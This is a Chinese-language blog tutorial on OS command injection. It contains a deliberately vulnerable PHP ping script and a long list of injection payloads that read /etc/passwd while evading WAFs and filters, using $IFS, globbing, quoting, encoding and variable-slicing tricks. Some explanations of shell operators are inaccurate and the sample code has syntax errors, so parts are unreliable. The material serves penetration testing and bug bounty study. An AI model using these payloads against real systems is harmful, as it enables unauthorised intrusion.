操作系统命令注入教程及一些简单的绕过waf技巧一

操作系统命令注入教程及一些简单的绕过waf技巧一

欢迎,这是我关于通过 OS 命令注入利用 RCE 的教程。在继续介绍各种形式的过滤规避之前,我将从基础开始。

请注意,这是一个专门针对 OS 命令注入的教程,而不是一般的 RCE教程  人们经常使用这些术语,就好像它们是相同的一样,但严格来说并非如此

命令注入的所有情况都是 RCE(远程代码执行),但并非所有 RCE 的情况都是命令注入。

RCE 是(或应该是)利用漏洞的最终目标。RCE 可以通过多种方法触发,通常通过链接在一起的低影响攻击向量的组合来触发 RCE 作为漏洞利用链的最后一部分。

操作系统命令注入是 触发 RCE的最 直接方法。对于传统的命令注入错误,您可以通过单个请求触发 RCE。我将从对操作系统命令注入如何工作的基本解释开始,以及一些用几种语言编写的实际代码示例。在此之后,我将深入研究过滤规避技术。如果您正在执行漏洞赏金,并且遇到操作系统命令注入漏洞(即时 P1 BTW),那么使用我将在此处介绍的一些 WAF 绕过技术可能会导致您在其他端点上获得报酬由于 WAF 搞砸了他们的有效载荷,黑客失败了。

正如攻击向量的名称所暗示的那样……操作系统命令注入是攻击者能够注入和执行系统命令(Linux 终端命令或 Windows 命令提示符输入)的地方。这主要是由于黑客发现了一个 HTTP 请求(POST/GET 输入),该请求在将输入作为系统调用的值之前被系统管理员或后端开发人员不正确地清理过。

我将把本教程分成两部分。这篇博文将介绍命令注入,然后是一些代码示例,最后是我在渗透测试、漏洞利用开发和漏洞赏金期间经常使用的一系列过滤器规避技术来绕过过滤器。

学习操作系统命令注入没有任何必要的先决条件,但您  至少应该对以下主题有基本的了解:

  • 基础编程知识
  • 理解HTTP(作为协议)
  • Linux终端命令的理解
  • 熟悉编程中的系统调用函数(通常称为 syscalls
  • 理解“盲”或“带外”漏洞的概念
  • 了解Linux 终端中的 shell 分隔符和转义字符串(例如 ; 和 &&

我将主要演示在基于 *nix 的环境中的 OS 命令注入。这样做的原因是因为绝大多数 Web 服务器都运行 Linux。列出的技术通常以完全相同的方式应用于 Windows 服务器(好吧,几乎,我将分享一些独特的技术和方法)。这里唯一的主要区别是您正在注入 DOS 命令,而不是 Linux 命令(因为您正在入侵 Windows 服务器,呃!)

操作系统命令注入教程及一些简单的绕过waf技巧一

基础知识:

因此,关于 OS 命令注入,您需要了解的第一个概念是 Shell 分隔符和转义字符串。我敢肯定,过去正确使用 Linux 的任何人都已经熟悉这一点,尽管可能不知道名称。它们允许将多个命令作为一个单行执行,这对于 OS 命令注入非常重要,原因我将很快解释。首先,让我们介绍一些 shell 分隔符和转义字符串:

分号 (   ) 可在 Linux 终端中用作分隔符,以线性方式(一个接一个)单独运行多个命令。如果一个命令未能按预期执行,那么它将自动尝试执行下一个命令

在终端中使用它的一个例子如下:  

cd /var/www/html ; cat index.php

  – 所以,在这个例子中,有人想要阅读他们为他们的网站编写的搜索表单的源代码,而不是必须运行一个命令来更改目录,然后是第二个命令来读取新文件上的文件第一个执行后的行,分号的使用允许您以线性方式执行 这两个命令 作为单线。它正在执行两个单独的命令,尽管您只按了一次 ENTER 键。

“大于”箭头会将命令的输出打印/回显到文件中。例如:echo “lol” > lol.txt 会将字符串“lol”打印/回显到文件名“lol.txt”中,如果文件不存在,那么它会自动创建它(至少假设你为你运行命令的目录写权限。它也适用于两个箭头,例如:  echo “lol >> lol.txt

  或 && 符号类似于使用尽管它们的不同之处在于将同时运行两个命令,而不是像使用分号符号那样一个接一个地运行。

管道符号 ( | ) 获取第一个命令的输出,并将该输出用作第二个命令的输入,如下所示:  ls -la | grep“\.txt$”  ——这个例子是将ls -la  (执行扩展目录列表的命令)的输出传递(或“管道”  )到 grep  (搜索事物的命令),同时告诉 grep 输出带有通过ls显示的 .txt 扩展名  – 与 & 和 && 一样,您可以在管道上加倍,例如:  ls -la || grep “\.txt$” 达到相同的结果。

除了 shell 转义字符串之外,另一件值得了解的事情是 bash 命令替换—— 其中一个例子是 $(你的命令) 并且根据您的输入在后端的处理方式,这有时会允许您触发命令注入。bash 命令替换的另一种形式是`your command` – 这有时也会执行您的命令。

特别是在 PHP 应用程序中测试第二种方法的一个地方,因为它会导致命令注入,但原因不同。

在 PHP 中,这些符号被称为“反引号运算符”,它们会将其中的输入传递给终端以执行。PHP 中的反引号运算符的作用与shell_exec()相同 ; 系统调用。


代码示例:

我现在将向您提供一些操作系统命令注入漏洞的代码示例,此外还将详细说明在测试操作系统命令注入时您应该查找的网站区域。我将在 PHP 中给出这些示例,当然这些技术也适用于其他 Web 语言。另外,请注意,本教程涵盖的是命令注入而不是代码注入尽管我也会在某个阶段介绍代码注入。

此示例是一个基本脚本,我将其命名为“Website Uptime Availability Checker”——该名称应该是不言自明的,只是提醒一下,此代码在现实中绝对无法使用(在线服务器可能只是丢弃我的 ICMP 数据包这将表明该站点处于离线状态,而不是)——这里的想法不是编写准确的代码,而是演示一个简单的操作系统命令注入漏洞利用场景。该脚本通过带有输入表单的 HTML 文档从用户那里获取输入,以便用户输入他们想要检查的主机的 DNS 或 IP 是否在线。一旦提交,这个表单将用户输入发送到另一个名为“ping.php”的文档——来自表单的 HTTP POST 输入然后被分配给一个动态变量值,然后这个值作为系统调用的一部分被包含以制作一个PING 请求,将用户提供的 URL 或 IP 地址截断到要在 PING 请求中使用的系统调用中。

代码如下:

<!DOCTYPE html>
<html>
    <head>
    <meta charset="UTF-8">
    <title>Website online availability checker!</title>
    </head>
  <body>
    <center>
      <h1><u>Website online availability checker:</u></h1>
      <form action="ping.php" method="POST">
        <p>Enter Website URL to send PIBG request:</P>
        <input type="text" name="URL">
        <br />
        <input type="Submit">
      </form>
    </center>
      
<?php
    /* Source code for "ping.php"
       this will take the POST input
       from the HTML <input> form and
       will handle that input */
         
    if (isset($_POST['url')) {
        $user_input = $_POST['url'];
        $output = shell_exec("ping -c1" .$user_input);
        }
          
    if (isset($output) && preg_match("/Request Timed Out/", $output) {
        echo "Ping request timed out!";
    }
      
    else if (isset($output) && preg_match("/Reply From/", $output) { 
        echo "The Ping request was successful:";
        echo $output;
    }
      
    else {
        echo "PING request failed!";
    }
?>
    </body>
</html>

使用前面提到的 shell 分隔符和转义字符,您可以输入要进行在线可用性检查的 URL,然后使用 shell 分隔符注入您自己的命令,就像这样(或上一节):

http://random-site.com ; cat /etc/passwd

要么:

http://random-site.com & cat /etc/passwd

这将运行命令以查看网站是否在线,并且还将同时运行您的命令。


一些绕过防火墙/waf的方法:

首先,在命令注入尝试期间对这些字符进行 urlencoding 可能是值得的,例如%26代替& – 双编码也可以工作(例如对已经 urlencoded 的值进行 urlencoding)。

除了双重编码,如果像str_replace(“%26”, “”); 正在使用,那么您可以执行诸如%%2626 之类的操作,以便它去除一个 %26 并仍然留下一个 %26,然后解码为&并触发代码执行。

如果空格被从您的输入中剥离(我特别在脚本小子在黑客论坛上出售的许多“网络压力器”工具中看到了这一点,通过他们想要通过他们的面板进行 DDoS 的站点的 IP 输入——尽管我已经当然在许多其他领域也看到了这一点,甚至使用它获得了赏金),然后有一系列方法可以用来绕过空格被剥离。例如,过滤会将cat /etc/passwd转换为cat/etc/passwd – 阻止命令正确执行,并将您限制为单字命令。

我将演示绕过的第一个方法是 bash 的内部字段分隔符,也就是 $IFS,它可以像这样触发:

;cat${IFS}/etc/passwd

或者如果 IFS 被列入黑名单,您可以像这样使用 bash 扩展(命令名称和命令值用逗号分隔):

;{cat,/etc/passwd}

您还可以使用 TAB 字符代替空格,或 TAB 字符的 urlencoded 值,例如:

;cat%09/etc/passwd

可以*偶尔*使用换行符(很少看到这种工作方式):

;cat%0a/etc/passwd

有时,甚至可以使用简单的+,例如:

;cat+/etc/passwd

或者,您可以将一些空格设置为 bash 变量并像这样调用它:

;$lol='\x20';cat${lol}/etc/passwd

如果除了空格之外还过滤了${ },则可以使用以下payloads:

;IFS=,;`cat<<</etc,/passwd`

如果“cat”或“passwd”之类的东西实际上被列入黑名单,那么也有很多方法可以解决这个问题。例如,您可以利用 bash 通配符,使用称为 globbing 的技术。如果您通过/bin/*调用要执行的命令的路径,那么您可以使用通配符,shell 将预测您将要使用的命令。通配符可以是*

例如:

;/bin/cat /etc/passwd

可以表示为:

;/b*n/c** /et*/pa**wd

或作为:

;/b?n/c?? /et?/pa??wd

您还可以利用 bash 中未初始化的变量,这些变量具有空值。这些可以通过$u调用,如下所示:

;cat$u /etc$u/passwd

也可以使用单引号或双引号,如下所示:

;/bin/c"at" /e"tc"/pa"ss"wd

要么:

;/b'i'n/c'a't /e't'c/p'a's's'w'd'

反斜杠字符也可以以相同的方式使用:

;c\\at /e\\tc/pa\\s\\swd/

$@结合使用也可以以类似的方式绕过防火墙:

;c$@at /etc/passwd

如果正斜杠是过滤器,则可以使用${HOME:0:1}表示正斜杠,因此可以执行如下命令:

;cat ${HOME:0:1}etc$HOME:0:1}passwd

此外,您可以使用${SHELLOPTS}值来表示特定字符​​,例如{SHELLOPTS:3:1}将表示字母c${SHELLOPTS:2:1}将表示a – 例如这将表示cat /etc/passwd

;{SHELLOPTS:3:1}at /etc/p{SHELLOPTS:2:1}sswd

当然,所有这些列出的方法都可以并且应该相互结合使用,以实现有效的过滤规避目的。

您可以使用的另一种方法是对整个有效负载进行十六进制编码,然后回显它,如下所示:

;echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

现在我已经介绍了一些基本的过滤规避方法,我将列出一些值得测试的易受攻击的 PHP 函数:

system();
exec();
shell_exec();
open();
pcntl_exec();
ioctl_exec();
eio_syncfs();
proc_open();
popen();

最后的话:

既然我已经解释了命令注入的基本概念,以及各种过滤器规避方法,我就结束了这个博客系列的第一部分。在本系列的第二部分中,我将介绍通过 open() 在 perl CGI 中注入命令的示例;调用,以及在 ruby​​ on rails 应用程序中,以及其他语言。我还将介绍一些用于操作系统命令注入的更复杂的过滤规避技术,包括我过去成功用于漏洞赏金的许多私有技术。

在第二部分中,我还将介绍盲/带外操作系统命令注入的方法以及如何以有效的方式对其进行测试。

我可能会分两部分完成这个博客系列,虽然最终可能会变成三部分,这取决于我发布了多少私有方法,但是,这就是现在。期待下周的第 2 部分。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注